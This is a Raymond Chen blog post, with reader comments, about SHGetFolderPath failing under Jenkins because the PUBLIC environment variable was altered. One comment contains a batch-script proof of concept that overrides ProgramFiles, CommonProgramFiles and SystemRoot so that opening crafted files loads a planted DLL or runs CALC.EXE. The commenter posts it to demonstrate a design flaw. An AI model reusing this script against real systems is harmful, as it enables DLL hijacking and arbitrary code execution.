The case of the SHGet­Folder­Path(CSIDL_COMMON_DOCUMENTS) that returned ERROR_PATH_NOT_FOUND

Raymond Chen

Raymond

A customer was experiencing a problem with the SHGet­Folder­Path function. Specifically, they had a program that called the function like this:

SHGetFolderPath(NULL, CSIDL_COMMON_DOCUMENTS, NULL,
                SHGFP_TYPE_CURRENT, pathBuffer);

but it failed with error 0x80070003 which is the HRESULT version of ERROR_PATH_NOT_FOUND. The error occurs only when run from a Jenkins pipeline. If they the run the program standalone, then the function succeeds and returns the expected result.

A procmon trace showed that the application tried to access the folder C:\Windows\SysWOW64\autobuild\Documents, which failed with NAME_NOT_FOUND. And that was the clue that broke things open.

The Common Documents folder defaults to %PUBLIC%\Documents. The PUBLIC environment variable’s normal value is C:\Users\Public, but when the program runs as part of a Jenkins pipeline, the environment variable is set to autobuild for some reason.

This means that when the program calls SHGet­Folder­Path and asks for CSIDL_COMMON_DOCUMENTS, the system looks for autobuild\Documents, which doesn’t exist, hence error 0x80070003: “The system cannot find the path specified.”

There are a number of environment variables that have special meaning, and you change them at your peril. You probably know about variables like windir, ProgramFiles, and TEMP, but there are quite a number of other special environment variables, and PUBLIC is one of them.

Armed with this information, the customer went back to see who was messing with the PUBLIC environment variable and try to get them to stop.

25 comments

Leave a comment

    • Avatar
      Stefan Kanthak

      There?

      [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders]
      "Common AppData"=expand:"%ProgramData%"
      "Common Desktop"=expand:"%PUBLIC%\\Desktop"
      "Common Documents"=expand:"%PUBLIC%\\Documents"
      "Common Programs"=expand:"%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs"
      "Common Start Menu"=expand:"%ProgramData%\\Microsoft\\Windows\\Start Menu"
      "Common Startup"=expand:"%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"
      "Common Templates"=expand:"%ProgramData%\\Microsoft\\Windows\\Templates"
      "CommonMusic"=expand:"%PUBLIC%\\Music"
      "CommonPictures"=expand:"%PUBLIC%\\Pictures"
      "CommonVideo"=expand:"%PUBLIC%\\Videos"
      "{3D644C9B-1FB8-4f30-9B45-F670235F79C0}"=expand:"%PUBLIC%\\Downloads"

      Better read these entries beforehand:

      [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
      "!Do not use this registry key"="Use the SHGetFolderPath or SHGetKnownFolderPath function instead"
      
      [HKEY_USERS\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
      "!Do not use this registry key"="Use the SHGetFolderPath or SHGetKnownFolderPath function instead"
      
      [HKEY_USERS\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
      "!Do not use this registry key"="Use the SHGetFolderPath or SHGetKnownFolderPath function instead"
  • Avatar
    Vadim Zeitlin

    How topical, I just wish I had read this yesterday, before spending more than an hour trying to find why CryptAcquireContext() failed with a mysterious NTE_PROVIDER_DLL_FAIL error when launching the program using remote debugger, only to find that it relies on SystemRoot being set in the environment, which wasn’t the case.

    I still wonder why do the API functions like this use the environment variables instead of using the registry, isn’t this what it is for? And is there a full list of required environment variables somewhere?

  • Avatar
    Stefan Kanthak

    Thanks for posting about one of Windows many design bugs.
    This one was introduced with Vista.
    Before Vista, the “All Users” profile was used to store “Common Desktop”, “Common Documents” etc.
    The base path to this profile is provided by the function GetAllUsersProfileDirectory() (https://msdn.microsoft.com/en-us/library/bb762276.aspx), from which the environment variable ALLUSERSPROFILE is set during user login.
    The Directory Shuffle performed for Vista introduced the “Public” profile and C:\ProgramData, accompanied by the new environment variables PUBLIC and ProgramData
    Some short-sighted developers but either forgot to implement a function GetPublicProfileDirectory() which retrieves the fully qualified path of this new profile from

    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList]
    "Public"=expand:"%SystemDrive%\\Users\\Public"

    and use it in SHGetFolderPath() etc., or to use GetProfilesDirectory() (https://msdn.microsoft.com/en-us/library/bb762278.aspx) and append “\Public” to it.
    Instead they introduced yet another vulnerability and query a user-controlled environment variable to retrieve an administrator-controlled path.
    JFTR: since GetDefaultUserProfileDirectory() (https://msdn.microsoft.com/en-us/library/bb762277.aspx) exists and retrieves the fully qualified path of the “Default” user profile from

    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList]
    "Default"=expand:"%SystemDrive%\\Users\\Default"

    GetPublicUserProfileDirectory() would be a logical extension to that scheme.

    In case you need proof that referencing user-controlled environment variables to resolve paths is braindead, see https://skanthak.homepage.t-online.de/offender.html or run the following commands:

    CHDIR /D "%USERPROFILE%"
    SET CommonProgramFiles=%CD%
    MKDIR "System\OLE DB"
    COPY "%SystemRoot%\System32\SHUNIMPL.DLL" "System\OLE DB\OLEDB32.DLL"
    ASSOC .UDL
    FTYPE MSDASC
    COPY NUL: System\EXPLOIT.UDL
    START System\EXPLOIT.UDL
    SET ProgramFiles=%CD%
    MKDIR "Windows Photo Viewer"
    COPY "%SystemRoot%\System32\SHUNIMPL.DLL" "Windows Photo Viewer\PhotoViewer.dll"
    ASSOC .TIF
    FTYPE TIFImage.Document
    RENAME System\EXPLOIT.UDL EXPLOIT.TIF
    START System\EXPLOIT.TIF
    SET ProgramFiles=%SystemRoot%\System32\CALC.EXE^" ^"*
    ASSOC .RTF
    FTYPE rtffile
    RENAME System\EXPLOIT.TIF EXPLOIT.RTF
    START System\EXPLOIT.RTF
    SET SystemRoot=%SystemRoot%\System32\CALC.EXE^" ^"*
    ASSOC .MSU
    FTYPE Microsoft.System.Update.1
    RENAME System\EXPLOIT.RTF EXPLOIT.MSU
    START System\EXPLOIT.MSU
    ASSOC .RLE
    FTYPE rlefile
    RENAME System\EXPLOIT.MSU EXPLOIT.RLE
    START System\EXPLOIT.RLE
    ASSOC .WSH
    FTYPE WSHFile
    RENAME System\EXPLOIT.RLE EXPLOIT.WSH
    START System\EXPLOIT.WSH
    RMDIR /S /Q System
    RMDIR /S /Q "Windows Photo Viewer"
  • Avatar
    Matthew Jackson

    I recently came across something certainly related to this. I was surprised that scripts running under Jenkins jobs were accessing user profile information from C:\Windows\ instead of C:\Users\. I chalked it up to the fact that we were running Jenkins as a Windows Service.

    • Avatar
      Stefan Kanthak

      Normal behaviour if the profile used is C:\Windows\System32\Config\SystemProfile, C:\Windows\ServiceProfiles\LocalService or C:\Windows\ServiceProfiles\NetworkService
      The latter two are the profiles for the “NT AUTHORITY\LOCAL SERVICE” alias “LocalService” and the “NT AUTHORITY\NETWORK SERVICE” alias “NetworkService” accounts, both introduced with Windows XP, initially stored in the directories “C:\Documents and Settings\LocalService” and “C:\Documents and Settings\NetworkService”, relocated to their current locations with Vista.
      The first profile, introduced with Windows 2000, is for the “NT AUTHORITY\SYSTEM” alias “LocalSystem” account.
      Its location is yet another design bug, since it is subject to File System Redirection on 64-bit installations!
      Admire the result of the “lobotomy” or “schizophrenia” in C:\Windows\SysWoW64\Config\SystemProfile

      And while you are here take a look into the registry hive of the “LocalSystem” account:

      [HKEY_USERS\S-1-5-18\Environment]
      "PATH"=expand:"%USERPROFILE%\\AppData\\Local\\Microsoft\\WindowsApps;"
      "TEMP"=expand:"%USERPROFILE%\\AppData\\Local\\Temp"
      "TMP"=expand:"%USERPROFILE%\\AppData\\Local\\Temp"

      Then verify whether C:\Windows\System32\Config\SystemProfile\AppData\Local\Temp and eventually C:\Windows\SysWoW64\Config\SystemProfile\AppData\Local\Temp exist…
      Also don’t forget to inspect the environment variables TEMP and TMP of processes running under the “LocalSystem” account…
      Oh what a lovely mess!

  • skSdnW
    skSdnW

    %ProgramData% relative special folders have the same issue.

    The strange thing is, this expansion issue only applies to the older special folders. Even if you use the newer Known Folder API, the old special folders have this issue (Common Templates etc.) while the KF-only folders (CommonRingtones etc.) do not.

  • Avatar
    Stefan Kanthak

    “Accidentally reconfiguring the system.”
    Its time to learn a new german word: Unfallverhütungsvorschrift!
    Also “Software Engineering” may come into your mind…
    A PROPERLY designed and implemented product does NOT allow such accidents!